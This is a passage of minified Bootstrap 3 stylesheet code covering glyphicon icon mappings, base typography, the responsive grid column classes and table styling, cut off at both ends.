Halflings';font-style:normal;font-weight:400;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.glyphicon-asterisk:before{content:"\002a"}.glyphicon-plus:before{content:"\002b"}.glyphicon-eur:before,.glyphicon-euro:before{content:"\20ac"}.glyphicon-minus:before{content:"\2212"}.glyphicon-cloud:before{content:"\2601"}.glyphicon-envelope:before{content:"\2709"}.glyphicon-pencil:before{content:"\270f"}.glyphicon-glass:before{content:"\e001"}.glyphicon-music:before{content:"\e002"}.glyphicon-search:before{content:"\e003"}.glyphicon-heart:before{content:"\e005"}.glyphicon-star:before{content:"\e006"}.glyphicon-star-empty:before{content:"\e007"}.glyphicon-user:before{content:"\e008"}.glyphicon-film:before{content:"\e009"}.glyphicon-th-large:before{content:"\e010"}.glyphicon-th:before{content:"\e011"}.glyphicon-th-list:before{content:"\e012"}.glyphicon-ok:before{content:"\e013"}.glyphicon-remove:before{content:"\e014"}.glyphicon-zoom-in:before{content:"\e015"}.glyphicon-zoom-out:before{content:"\e016"}.glyphicon-off:before{content:"\e017"}.glyphicon-signal:before{content:"\e018"}.glyphicon-cog:before{content:"\e019"}.glyphicon-trash:before{content:"\e020"}.glyphicon-home:before{content:"\e021"}.glyphicon-file:before{content:"\e022"}.glyphicon-time:before{content:"\e023"}.glyphicon-road:before{content:"\e024"}.glyphicon-download-alt:before{content:"\e025"}.glyphicon-download:before{content:"\e026"}.glyphicon-upload:before{content:"\e027"}.glyphicon-inbox:before{content:"\e028"}.glyphicon-play-circle:before{content:"\e029"}.glyphicon-repeat:before{content:"\e030"}.glyphicon-refresh:before{content:"\e031"}.glyphicon-list-alt:before{content:"\e032"}.glyphicon-lock:before{content:"\e033"}.glyphicon-flag:before{content:"\e034"}.glyphicon-headphones:before{content:"\e035"}.glyphicon-volume-off:before{content:"\e036"}.glyphicon-volume-down:before{content:"\e037"}.glyphicon-volume-up:before{content:"\e038"}.glyphicon-qrcode:before{content:"\e039"}.glyphicon-barcode:before{content:"\e040"}.glyphicon-tag:before{content:"\e041"}.glyphicon-tags:before{content:"\e042"}.glyphicon-book:before{content:"\e043"}.glyphicon-bookmark:before{content:"\e044"}.glyphicon-print:before{content:"\e045"}.glyphicon-camera:before{content:"\e046"}.glyphicon-font:before{content:"\e047"}.glyphicon-bold:before{content:"\e048"}.glyphicon-italic:before{content:"\e049"}.glyphicon-text-height:before{content:"\e050"}.glyphicon-text-width:before{content:"\e051"}.glyphicon-align-left:before{content:"\e052"}.glyphicon-align-center:before{content:"\e053"}.glyphicon-align-right:before{content:"\e054"}.glyphicon-align-justify:before{content:"\e055"}.glyphicon-list:before{content:"\e056"}.glyphicon-indent-left:before{content:"\e057"}.glyphicon-indent-right:before{content:"\e058"}.glyphicon-facetime-video:before{content:"\e059"}.glyphicon-picture:before{content:"\e060"}.glyphicon-map-marker:before{content:"\e062"}.glyphicon-adjust:before{content:"\e063"}.glyphicon-tint:before{content:"\e064"}.glyphicon-edit:before{content:"\e065"}.glyphicon-share:before{content:"\e066"}.glyphicon-check:before{content:"\e067"}.glyphicon-move:before{content:"\e068"}.glyphicon-step-backward:before{content:"\e069"}.glyphicon-fast-backward:before{content:"\e070"}.glyphicon-backward:before{content:"\e071"}.glyphicon-play:before{content:"\e072"}.glyphicon-pause:before{content:"\e073"}.glyphicon-stop:before{content:"\e074"}.glyphicon-forward:before{content:"\e075"}.glyphicon-fast-forward:before{content:"\e076"}.glyphicon-step-forward:before{content:"\e077"}.glyphicon-eject:before{content:"\e078"}.glyphicon-chevron-left:before{content:"\e079"}.glyphicon-chevron-right:before{content:"\e080"}.glyphicon-plus-sign:before{content:"\e081"}.glyphicon-minus-sign:before{content:"\e082"}.glyphicon-remove-sign:before{content:"\e083"}.glyphicon-ok-sign:before{content:"\e084"}.glyphicon-question-sign:before{content:"\e085"}.glyphicon-info-sign:before{content:"\e086"}.glyphicon-screenshot:before{content:"\e087"}.glyphicon-remove-circle:before{content:"\e088"}.glyphicon-ok-circle:before{content:"\e089"}.glyphicon-ban-circle:before{content:"\e090"}.glyphicon-arrow-left:before{content:"\e091"}.glyphicon-arrow-right:before{content:"\e092"}.glyphicon-arrow-up:before{content:"\e093"}.glyphicon-arrow-down:before{content:"\e094"}.glyphicon-share-alt:before{content:"\e095"}.glyphicon-resize-full:before{content:"\e096"}.glyphicon-resize-small:before{content:"\e097"}.glyphicon-exclamation-sign:before{content:"\e101"}.glyphicon-gift:before{content:"\e102"}.glyphicon-leaf:before{content:"\e103"}.glyphicon-fire:before{content:"\e104"}.glyphicon-eye-open:before{content:"\e105"}.glyphicon-eye-close:before{content:"\e106"}.glyphicon-warning-sign:before{content:"\e107"}.glyphicon-plane:before{content:"\e108"}.glyphicon-calendar:before{content:"\e109"}.glyphicon-random:before{content:"\e110"}.glyphicon-comment:before{content:"\e111"}.glyphicon-magnet:before{content:"\e112"}.glyphicon-chevron-up:before{content:"\e113"}.glyphicon-chevron-down:before{content:"\e114"}.glyphicon-retweet:before{content:"\e115"}.glyphicon-shopping-cart:before{content:"\e116"}.glyphicon-folder-close:before{content:"\e117"}.glyphicon-folder-open:before{content:"\e118"}.glyphicon-resize-vertical:before{content:"\e119"}.glyphicon-resize-horizontal:before{content:"\e120"}.glyphicon-hdd:before{content:"\e121"}.glyphicon-bullhorn:before{content:"\e122"}.glyphicon-bell:before{content:"\e123"}.glyphicon-certificate:before{content:"\e124"}.glyphicon-thumbs-up:before{content:"\e125"}.glyphicon-thumbs-down:before{content:"\e126"}.glyphicon-hand-right:before{content:"\e127"}.glyphicon-hand-left:before{content:"\e128"}.glyphicon-hand-up:before{content:"\e129"}.glyphicon-hand-down:before{content:"\e130"}.glyphicon-circle-arrow-right:before{content:"\e131"}.glyphicon-circle-arrow-left:before{content:"\e132"}.glyphicon-circle-arrow-up:before{content:"\e133"}.glyphicon-circle-arrow-down:before{content:"\e134"}.glyphicon-globe:before{content:"\e135"}.glyphicon-wrench:before{content:"\e136"}.glyphicon-tasks:before{content:"\e137"}.glyphicon-filter:before{content:"\e138"}.glyphicon-briefcase:before{content:"\e139"}.glyphicon-fullscreen:before{content:"\e140"}.glyphicon-dashboard:before{content:"\e141"}.glyphicon-paperclip:before{content:"\e142"}.glyphicon-heart-empty:before{content:"\e143"}.glyphicon-link:before{content:"\e144"}.glyphicon-phone:before{content:"\e145"}.glyphicon-pushpin:before{content:"\e146"}.glyphicon-usd:before{content:"\e148"}.glyphicon-gbp:before{content:"\e149"}.glyphicon-sort:before{content:"\e150"}.glyphicon-sort-by-alphabet:before{content:"\e151"}.glyphicon-sort-by-alphabet-alt:before{content:"\e152"}.glyphicon-sort-by-order:before{content:"\e153"}.glyphicon-sort-by-order-alt:before{content:"\e154"}.glyphicon-sort-by-attributes:before{content:"\e155"}.glyphicon-sort-by-attributes-alt:before{content:"\e156"}.glyphicon-unchecked:before{content:"\e157"}.glyphicon-expand:before{content:"\e158"}.glyphicon-collapse-down:before{content:"\e159"}.glyphicon-collapse-up:before{content:"\e160"}.glyphicon-log-in:before{content:"\e161"}.glyphicon-flash:before{content:"\e162"}.glyphicon-log-out:before{content:"\e163"}.glyphicon-new-window:before{content:"\e164"}.glyphicon-record:before{content:"\e165"}.glyphicon-save:before{content:"\e166"}.glyphicon-open:before{content:"\e167"}.glyphicon-saved:before{content:"\e168"}.glyphicon-import:before{content:"\e169"}.glyphicon-export:before{content:"\e170"}.glyphicon-send:before{content:"\e171"}.glyphicon-floppy-disk:before{content:"\e172"}.glyphicon-floppy-saved:before{content:"\e173"}.glyphicon-floppy-remove:before{content:"\e174"}.glyphicon-floppy-save:before{content:"\e175"}.glyphicon-floppy-open:before{content:"\e176"}.glyphicon-credit-card:before{content:"\e177"}.glyphicon-transfer:before{content:"\e178"}.glyphicon-cutlery:before{content:"\e179"}.glyphicon-header:before{content:"\e180"}.glyphicon-compressed:before{content:"\e181"}.glyphicon-earphone:before{content:"\e182"}.glyphicon-phone-alt:before{content:"\e183"}.glyphicon-tower:before{content:"\e184"}.glyphicon-stats:before{content:"\e185"}.glyphicon-sd-video:before{content:"\e186"}.glyphicon-hd-video:before{content:"\e187"}.glyphicon-subtitles:before{content:"\e188"}.glyphicon-sound-stereo:before{content:"\e189"}.glyphicon-sound-dolby:before{content:"\e190"}.glyphicon-sound-5-1:before{content:"\e191"}.glyphicon-sound-6-1:before{content:"\e192"}.glyphicon-sound-7-1:before{content:"\e193"}.glyphicon-copyright-mark:before{content:"\e194"}.glyphicon-registration-mark:before{content:"\e195"}.glyphicon-cloud-download:before{content:"\e197"}.glyphicon-cloud-upload:before{content:"\e198"}.glyphicon-tree-conifer:before{content:"\e199"}.glyphicon-tree-deciduous:before{content:"\e200"}.glyphicon-cd:before{content:"\e201"}.glyphicon-save-file:before{content:"\e202"}.glyphicon-open-file:before{content:"\e203"}.glyphicon-level-up:before{content:"\e204"}.glyphicon-copy:before{content:"\e205"}.glyphicon-paste:before{content:"\e206"}.glyphicon-alert:before{content:"\e209"}.glyphicon-equalizer:before{content:"\e210"}.glyphicon-king:before{content:"\e211"}.glyphicon-queen:before{content:"\e212"}.glyphicon-pawn:before{content:"\e213"}.glyphicon-bishop:before{content:"\e214"}.glyphicon-knight:before{content:"\e215"}.glyphicon-baby-formula:before{content:"\e216"}.glyphicon-tent:before{content:"\26fa"}.glyphicon-blackboard:before{content:"\e218"}.glyphicon-bed:before{content:"\e219"}.glyphicon-apple:before{content:"\f8ff"}.glyphicon-erase:before{content:"\e221"}.glyphicon-hourglass:before{content:"\231b"}.glyphicon-lamp:before{content:"\e223"}.glyphicon-duplicate:before{content:"\e224"}.glyphicon-piggy-bank:before{content:"\e225"}.glyphicon-scissors:before{content:"\e226"}.glyphicon-bitcoin:before{content:"\e227"}.glyphicon-btc:before{content:"\e227"}.glyphicon-xbt:before{content:"\e227"}.glyphicon-yen:before{content:"\00a5"}.glyphicon-jpy:before{content:"\00a5"}.glyphicon-ruble:before{content:"\20bd"}.glyphicon-rub:before{content:"\20bd"}.glyphicon-scale:before{content:"\e230"}.glyphicon-ice-lolly:before{content:"\e231"}.glyphicon-ice-lolly-tasted:before{content:"\e232"}.glyphicon-education:before{content:"\e233"}.glyphicon-option-horizontal:before{content:"\e234"}.glyphicon-option-vertical:before{content:"\e235"}.glyphicon-menu-hamburger:before{content:"\e236"}.glyphicon-modal-window:before{content:"\e237"}.glyphicon-oil:before{content:"\e238"}.glyphicon-grain:before{content:"\e239"}.glyphicon-sunglasses:before{content:"\e240"}.glyphicon-text-size:before{content:"\e241"}.glyphicon-text-color:before{content:"\e242"}.glyphicon-text-background:before{content:"\e243"}.glyphicon-object-align-top:before{content:"\e244"}.glyphicon-object-align-bottom:before{content:"\e245"}.glyphicon-object-align-horizontal:before{content:"\e246"}.glyphicon-object-align-left:before{content:"\e247"}.glyphicon-object-align-vertical:before{content:"\e248"}.glyphicon-object-align-right:before{content:"\e249"}.glyphicon-triangle-right:before{content:"\e250"}.glyphicon-triangle-left:before{content:"\e251"}.glyphicon-triangle-bottom:before{content:"\e252"}.glyphicon-triangle-top:before{content:"\e253"}.glyphicon-console:before{content:"\e254"}.glyphicon-superscript:before{content:"\e255"}.glyphicon-subscript:before{content:"\e256"}.glyphicon-menu-left:before{content:"\e257"}.glyphicon-menu-right:before{content:"\e258"}.glyphicon-menu-down:before{content:"\e259"}.glyphicon-menu-up:before{content:"\e260"}*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}:after,:before{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{font-size:10px;-webkit-tap-highlight-color:rgba(0,0,0,0)}body{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:1.42857143;color:#333;background-color:#fff}button,input,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit}a{color:#337ab7;text-decoration:none}a:focus,a:hover{color:#23527c;text-decoration:underline}a:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}figure{margin:0}img{vertical-align:middle}.carousel-inner>.item>a>img,.carousel-inner>.item>img,.img-responsive,.thumbnail a>img,.thumbnail>img{display:block;max-width:100%;height:auto}.img-rounded{border-radius:6px}.img-thumbnail{display:inline-block;max-width:100%;height:auto;padding:4px;line-height:1.42857143;background-color:#fff;border:1px solid #ddd;border-radius:4px;-webkit-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.img-circle{border-radius:50%}hr{margin-top:20px;margin-bottom:20px;border:0;border-top:1px solid #eee}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto}[role=button]{cursor:pointer}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{font-family:inherit;font-weight:500;line-height:1.1;color:inherit}.h1 .small,.h1 small,.h2 .small,.h2 small,.h3 .small,.h3 small,.h4 .small,.h4 small,.h5 .small,.h5 small,.h6 .small,.h6 small,h1 .small,h1 small,h2 .small,h2 small,h3 .small,h3 small,h4 .small,h4 small,h5 .small,h5 small,h6 .small,h6 small{font-weight:400;line-height:1;color:#777}.h1,.h2,.h3,h1,h2,h3{margin-top:20px;margin-bottom:10px}.h1 .small,.h1 small,.h2 .small,.h2 small,.h3 .small,.h3 small,h1 .small,h1 small,h2 .small,h2 small,h3 .small,h3 small{font-size:65%}.h4,.h5,.h6,h4,h5,h6{margin-top:10px;margin-bottom:10px}.h4 .small,.h4 small,.h5 .small,.h5 small,.h6 .small,.h6 small,h4 .small,h4 small,h5 .small,h5 small,h6 .small,h6 small{font-size:75%}.h1,h1{font-size:36px}.h2,h2{font-size:30px}.h3,h3{font-size:24px}.h4,h4{font-size:18px}.h5,h5{font-size:14px}.h6,h6{font-size:12px}p{margin:0 0 10px}.lead{margin-bottom:20px;font-size:16px;font-weight:300;line-height:1.4}@media (min-width:768px){.lead{font-size:21px}}.small,small{font-size:85%}.mark,mark{padding:.2em;background-color:#fcf8e3}.text-left{text-align:left}.text-right{text-align:right}.text-center{text-align:center}.text-justify{text-align:justify}.text-nowrap{white-space:nowrap}.text-lowercase{text-transform:lowercase}.text-uppercase{text-transform:uppercase}.text-capitalize{text-transform:capitalize}.text-muted{color:#777}.text-primary{color:#337ab7}a.text-primary:focus,a.text-primary:hover{color:#286090}.text-success{color:#3c763d}a.text-success:focus,a.text-success:hover{color:#2b542c}.text-info{color:#31708f}a.text-info:focus,a.text-info:hover{color:#245269}.text-warning{color:#8a6d3b}a.text-warning:focus,a.text-warning:hover{color:#66512c}.text-danger{color:#a94442}a.text-danger:focus,a.text-danger:hover{color:#843534}.bg-primary{color:#fff;background-color:#337ab7}a.bg-primary:focus,a.bg-primary:hover{background-color:#286090}.bg-success{background-color:#dff0d8}a.bg-success:focus,a.bg-success:hover{background-color:#c1e2b3}.bg-info{background-color:#d9edf7}a.bg-info:focus,a.bg-info:hover{background-color:#afd9ee}.bg-warning{background-color:#fcf8e3}a.bg-warning:focus,a.bg-warning:hover{background-color:#f7ecb5}.bg-danger{background-color:#f2dede}a.bg-danger:focus,a.bg-danger:hover{background-color:#e4b9b9}.page-header{padding-bottom:9px;margin:40px 0 20px;border-bottom:1px solid #eee}ol,ul{margin-top:0;margin-bottom:10px}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;margin-left:-5px;list-style:none}.list-inline>li{display:inline-block;padding-right:5px;padding-left:5px}dl{margin-top:0;margin-bottom:20px}dd,dt{line-height:1.42857143}dt{font-weight:700}dd{margin-left:0}@media (min-width:768px){.dl-horizontal dt{float:left;width:160px;overflow:hidden;clear:left;text-align:right;text-overflow:ellipsis;white-space:nowrap}.dl-horizontal dd{margin-left:180px}}abbr[data-original-title],abbr[title]{cursor:help;border-bottom:1px dotted #777}.initialism{font-size:90%;text-transform:uppercase}blockquote{padding:10px 20px;margin:0 0 20px;font-size:17.5px;border-left:5px solid #eee}blockquote ol:last-child,blockquote p:last-child,blockquote ul:last-child{margin-bottom:0}blockquote .small,blockquote footer,blockquote small{display:block;font-size:80%;line-height:1.42857143;color:#777}blockquote .small:before,blockquote footer:before,blockquote small:before{content:'\2014 \00A0'}.blockquote-reverse,blockquote.pull-right{padding-right:15px;padding-left:0;text-align:right;border-right:5px solid #eee;border-left:0}.blockquote-reverse .small:before,.blockquote-reverse footer:before,.blockquote-reverse small:before,blockquote.pull-right .small:before,blockquote.pull-right footer:before,blockquote.pull-right small:before{content:''}.blockquote-reverse .small:after,.blockquote-reverse footer:after,.blockquote-reverse small:after,blockquote.pull-right .small:after,blockquote.pull-right footer:after,blockquote.pull-right small:after{content:'\00A0 \2014'}address{margin-bottom:20px;font-style:normal;line-height:1.42857143}code,kbd,pre,samp{font-family:Menlo,Monaco,Consolas,"Courier New",monospace}code{padding:2px 4px;font-size:90%;color:#c7254e;background-color:#f9f2f4;border-radius:4px}kbd{padding:2px 4px;font-size:90%;color:#fff;background-color:#333;border-radius:3px;-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,.25);box-shadow:inset 0 -1px 0 rgba(0,0,0,.25)}kbd kbd{padding:0;font-size:100%;font-weight:700;-webkit-box-shadow:none;box-shadow:none}pre{display:block;padding:9.5px;margin:0 0 10px;font-size:13px;line-height:1.42857143;color:#333;word-break:break-all;word-wrap:break-word;background-color:#f5f5f5;border:1px solid #ccc;border-radius:4px}pre code{padding:0;font-size:inherit;color:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0}.pre-scrollable{max-height:340px;overflow-y:scroll}.container{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width:768px){.container{width:750px}}@media (min-width:992px){.container{width:970px}}@media (min-width:1200px){.container{width:1170px}}.container-fluid{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}.row{margin-right:-15px;margin-left:-15px}.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-xs-1,.col-xs-10,.col-xs-11,.col-xs-12,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9{position:relative;min-height:1px;padding-right:15px;padding-left:15px}.col-xs-1,.col-xs-10,.col-xs-11,.col-xs-12,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9{float:left}.col-xs-12{width:100%}.col-xs-11{width:91.66666667%}.col-xs-10{width:83.33333333%}.col-xs-9{width:75%}.col-xs-8{width:66.66666667%}.col-xs-7{width:58.33333333%}.col-xs-6{width:50%}.col-xs-5{width:41.66666667%}.col-xs-4{width:33.33333333%}.col-xs-3{width:25%}.col-xs-2{width:16.66666667%}.col-xs-1{width:8.33333333%}.col-xs-pull-12{right:100%}.col-xs-pull-11{right:91.66666667%}.col-xs-pull-10{right:83.33333333%}.col-xs-pull-9{right:75%}.col-xs-pull-8{right:66.66666667%}.col-xs-pull-7{right:58.33333333%}.col-xs-pull-6{right:50%}.col-xs-pull-5{right:41.66666667%}.col-xs-pull-4{right:33.33333333%}.col-xs-pull-3{right:25%}.col-xs-pull-2{right:16.66666667%}.col-xs-pull-1{right:8.33333333%}.col-xs-pull-0{right:auto}.col-xs-push-12{left:100%}.col-xs-push-11{left:91.66666667%}.col-xs-push-10{left:83.33333333%}.col-xs-push-9{left:75%}.col-xs-push-8{left:66.66666667%}.col-xs-push-7{left:58.33333333%}.col-xs-push-6{left:50%}.col-xs-push-5{left:41.66666667%}.col-xs-push-4{left:33.33333333%}.col-xs-push-3{left:25%}.col-xs-push-2{left:16.66666667%}.col-xs-push-1{left:8.33333333%}.col-xs-push-0{left:auto}.col-xs-offset-12{margin-left:100%}.col-xs-offset-11{margin-left:91.66666667%}.col-xs-offset-10{margin-left:83.33333333%}.col-xs-offset-9{margin-left:75%}.col-xs-offset-8{margin-left:66.66666667%}.col-xs-offset-7{margin-left:58.33333333%}.col-xs-offset-6{margin-left:50%}.col-xs-offset-5{margin-left:41.66666667%}.col-xs-offset-4{margin-left:33.33333333%}.col-xs-offset-3{margin-left:25%}.col-xs-offset-2{margin-left:16.66666667%}.col-xs-offset-1{margin-left:8.33333333%}.col-xs-offset-0{margin-left:0}@media (min-width:768px){.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9{float:left}.col-sm-12{width:100%}.col-sm-11{width:91.66666667%}.col-sm-10{width:83.33333333%}.col-sm-9{width:75%}.col-sm-8{width:66.66666667%}.col-sm-7{width:58.33333333%}.col-sm-6{width:50%}.col-sm-5{width:41.66666667%}.col-sm-4{width:33.33333333%}.col-sm-3{width:25%}.col-sm-2{width:16.66666667%}.col-sm-1{width:8.33333333%}.col-sm-pull-12{right:100%}.col-sm-pull-11{right:91.66666667%}.col-sm-pull-10{right:83.33333333%}.col-sm-pull-9{right:75%}.col-sm-pull-8{right:66.66666667%}.col-sm-pull-7{right:58.33333333%}.col-sm-pull-6{right:50%}.col-sm-pull-5{right:41.66666667%}.col-sm-pull-4{right:33.33333333%}.col-sm-pull-3{right:25%}.col-sm-pull-2{right:16.66666667%}.col-sm-pull-1{right:8.33333333%}.col-sm-pull-0{right:auto}.col-sm-push-12{left:100%}.col-sm-push-11{left:91.66666667%}.col-sm-push-10{left:83.33333333%}.col-sm-push-9{left:75%}.col-sm-push-8{left:66.66666667%}.col-sm-push-7{left:58.33333333%}.col-sm-push-6{left:50%}.col-sm-push-5{left:41.66666667%}.col-sm-push-4{left:33.33333333%}.col-sm-push-3{left:25%}.col-sm-push-2{left:16.66666667%}.col-sm-push-1{left:8.33333333%}.col-sm-push-0{left:auto}.col-sm-offset-12{margin-left:100%}.col-sm-offset-11{margin-left:91.66666667%}.col-sm-offset-10{margin-left:83.33333333%}.col-sm-offset-9{margin-left:75%}.col-sm-offset-8{margin-left:66.66666667%}.col-sm-offset-7{margin-left:58.33333333%}.col-sm-offset-6{margin-left:50%}.col-sm-offset-5{margin-left:41.66666667%}.col-sm-offset-4{margin-left:33.33333333%}.col-sm-offset-3{margin-left:25%}.col-sm-offset-2{margin-left:16.66666667%}.col-sm-offset-1{margin-left:8.33333333%}.col-sm-offset-0{margin-left:0}}@media (min-width:992px){.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9{float:left}.col-md-12{width:100%}.col-md-11{width:91.66666667%}.col-md-10{width:83.33333333%}.col-md-9{width:75%}.col-md-8{width:66.66666667%}.col-md-7{width:58.33333333%}.col-md-6{width:50%}.col-md-5{width:41.66666667%}.col-md-4{width:33.33333333%}.col-md-3{width:25%}.col-md-2{width:16.66666667%}.col-md-1{width:8.33333333%}.col-md-pull-12{right:100%}.col-md-pull-11{right:91.66666667%}.col-md-pull-10{right:83.33333333%}.col-md-pull-9{right:75%}.col-md-pull-8{right:66.66666667%}.col-md-pull-7{right:58.33333333%}.col-md-pull-6{right:50%}.col-md-pull-5{right:41.66666667%}.col-md-pull-4{right:33.33333333%}.col-md-pull-3{right:25%}.col-md-pull-2{right:16.66666667%}.col-md-pull-1{right:8.33333333%}.col-md-pull-0{right:auto}.col-md-push-12{left:100%}.col-md-push-11{left:91.66666667%}.col-md-push-10{left:83.33333333%}.col-md-push-9{left:75%}.col-md-push-8{left:66.66666667%}.col-md-push-7{left:58.33333333%}.col-md-push-6{left:50%}.col-md-push-5{left:41.66666667%}.col-md-push-4{left:33.33333333%}.col-md-push-3{left:25%}.col-md-push-2{left:16.66666667%}.col-md-push-1{left:8.33333333%}.col-md-push-0{left:auto}.col-md-offset-12{margin-left:100%}.col-md-offset-11{margin-left:91.66666667%}.col-md-offset-10{margin-left:83.33333333%}.col-md-offset-9{margin-left:75%}.col-md-offset-8{margin-left:66.66666667%}.col-md-offset-7{margin-left:58.33333333%}.col-md-offset-6{margin-left:50%}.col-md-offset-5{margin-left:41.66666667%}.col-md-offset-4{margin-left:33.33333333%}.col-md-offset-3{margin-left:25%}.col-md-offset-2{margin-left:16.66666667%}.col-md-offset-1{margin-left:8.33333333%}.col-md-offset-0{margin-left:0}}@media (min-width:1200px){.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9{float:left}.col-lg-12{width:100%}.col-lg-11{width:91.66666667%}.col-lg-10{width:83.33333333%}.col-lg-9{width:75%}.col-lg-8{width:66.66666667%}.col-lg-7{width:58.33333333%}.col-lg-6{width:50%}.col-lg-5{width:41.66666667%}.col-lg-4{width:33.33333333%}.col-lg-3{width:25%}.col-lg-2{width:16.66666667%}.col-lg-1{width:8.33333333%}.col-lg-pull-12{right:100%}.col-lg-pull-11{right:91.66666667%}.col-lg-pull-10{right:83.33333333%}.col-lg-pull-9{right:75%}.col-lg-pull-8{right:66.66666667%}.col-lg-pull-7{right:58.33333333%}.col-lg-pull-6{right:50%}.col-lg-pull-5{right:41.66666667%}.col-lg-pull-4{right:33.33333333%}.col-lg-pull-3{right:25%}.col-lg-pull-2{right:16.66666667%}.col-lg-pull-1{right:8.33333333%}.col-lg-pull-0{right:auto}.col-lg-push-12{left:100%}.col-lg-push-11{left:91.66666667%}.col-lg-push-10{left:83.33333333%}.col-lg-push-9{left:75%}.col-lg-push-8{left:66.66666667%}.col-lg-push-7{left:58.33333333%}.col-lg-push-6{left:50%}.col-lg-push-5{left:41.66666667%}.col-lg-push-4{left:33.33333333%}.col-lg-push-3{left:25%}.col-lg-push-2{left:16.66666667%}.col-lg-push-1{left:8.33333333%}.col-lg-push-0{left:auto}.col-lg-offset-12{margin-left:100%}.col-lg-offset-11{margin-left:91.66666667%}.col-lg-offset-10{margin-left:83.33333333%}.col-lg-offset-9{margin-left:75%}.col-lg-offset-8{margin-left:66.66666667%}.col-lg-offset-7{margin-left:58.33333333%}.col-lg-offset-6{margin-left:50%}.col-lg-offset-5{margin-left:41.66666667%}.col-lg-offset-4{margin-left:33.33333333%}.col-lg-offset-3{margin-left:25%}.col-lg-offset-2{margin-left:16.66666667%}.col-lg-offset-1{margin-left:8.33333333%}.col-lg-offset-0{margin-left:0}}table{background-color:transparent}caption{padding-top:8px;padding-bottom:8px;color:#777;text-align:left}th{text-align:left}.table{width:100%;max-width:100%;margin-bottom:20px}.table>tbody>tr>td,.table>tbody>tr>th,.table>tfoot>tr>td,.table>tfoot>tr>th,.table>thead>tr>td,.table>thead>tr>th{padding:8px;line-height:1.42857143;vertical-align:top;border-top:1px solid #ddd}.table>thead>tr>th{vertical-align:bottom;border-bottom:2px solid #ddd}.table>caption+thead>tr:first-child>td,.table>caption+thead>tr:first-child>th,.table>colgroup+thead>tr:first-child>td,.table>colgroup+thead>tr:first-child>th,.table>thead:first-child>tr:first-child>td,.table>thead:first-child>tr:first-child>th{border-top:0}.table>tbody+tbody{border-top:2px solid #ddd}.table .table{background-color:#fff}.table-condensed>tbody>tr>td,.table-condensed>tbody>tr>th,.table-condensed>tfoot>tr>td,.table-condensed>tfoot>tr>th,.table-condensed>thead>tr>td,.table-condensed>thead>tr>th{padding:5px}.table-bordered{border:1px solid #ddd}.table-bordered>tbody>tr>td,.table-bordered>tbody>tr>th,.table-bordered>tfoot>tr>td,.table-bordered>tfoot>tr>th,.table-bordered>thead>tr>td,.table-bordered>thead>tr>th{border:1px solid #ddd}.table-bordered>thead>tr>td,.table-bordered>thead>tr>th{border-bottom-width:2px}.table-striped>tbody>tr:nth-of-type(odd){background-color:#f9f9f9}.table-hover>tbody>tr:hover{background-color:#f5f5f5}table col[class*=col-]{position:static;display:table-column;float:none}table td[class*=col-],table th[class*=col-]{position:static;display:table-cell;float:none}.table>tbody>tr.active>td,.table>tbody>tr.active>th,.table>tbody>tr>td.active,.table>tbody>tr>th.active,.table>tfoot>tr.active>td,.table>tfoot>tr.active>th,.table>tfoot>tr>td.active,.table>tfoot>tr>th.active,.table>thead>tr.active>td,.table>thead>tr.active>th,.table>thead>tr>td.active,.table>thead>tr>th.active{background-color:#f5f5f5}.table-hover>tbody>tr.active:hover>td,.table-hover>tbody>tr.active:hover>th,.table-hover>tbody>tr:hover>.active,.table-hover>tbody>tr>td.active:hover,.table-hover>tbody>tr>th.active:hover{background-color:#e8e8e8}.table>tbody>tr.success>td,.table>tbody>tr.success>th,.table>tbody>tr>td.success,.table>tbody>tr>th.success,.table>tfoot>tr.success>td,.table>tfoot>tr.success>th,.table>tfoot>tr>td.success,.table>tfoot>tr>th.success,.table>thead>tr.success>td,.table>thead>tr.success>th,.table>thead>tr>td.success,.table>thead>tr>th.success{background-color:#dff0d8}.table-hover>tbody>tr.success:hover>td,.table-hover>tbody>tr.success:hover>th,.table-hover>tbody>tr:hover>.success,.table-hover>tbody>tr>td.success:hover,.table-hover>tbody>tr>th.success:hover{background-color:#d0e9c6}.table>tbody>tr.info>td,.table>tbody>tr.info>th,.table>tbody>tr>td.info,.table>tbody>tr>th.info,.table>tfoot>tr.info>t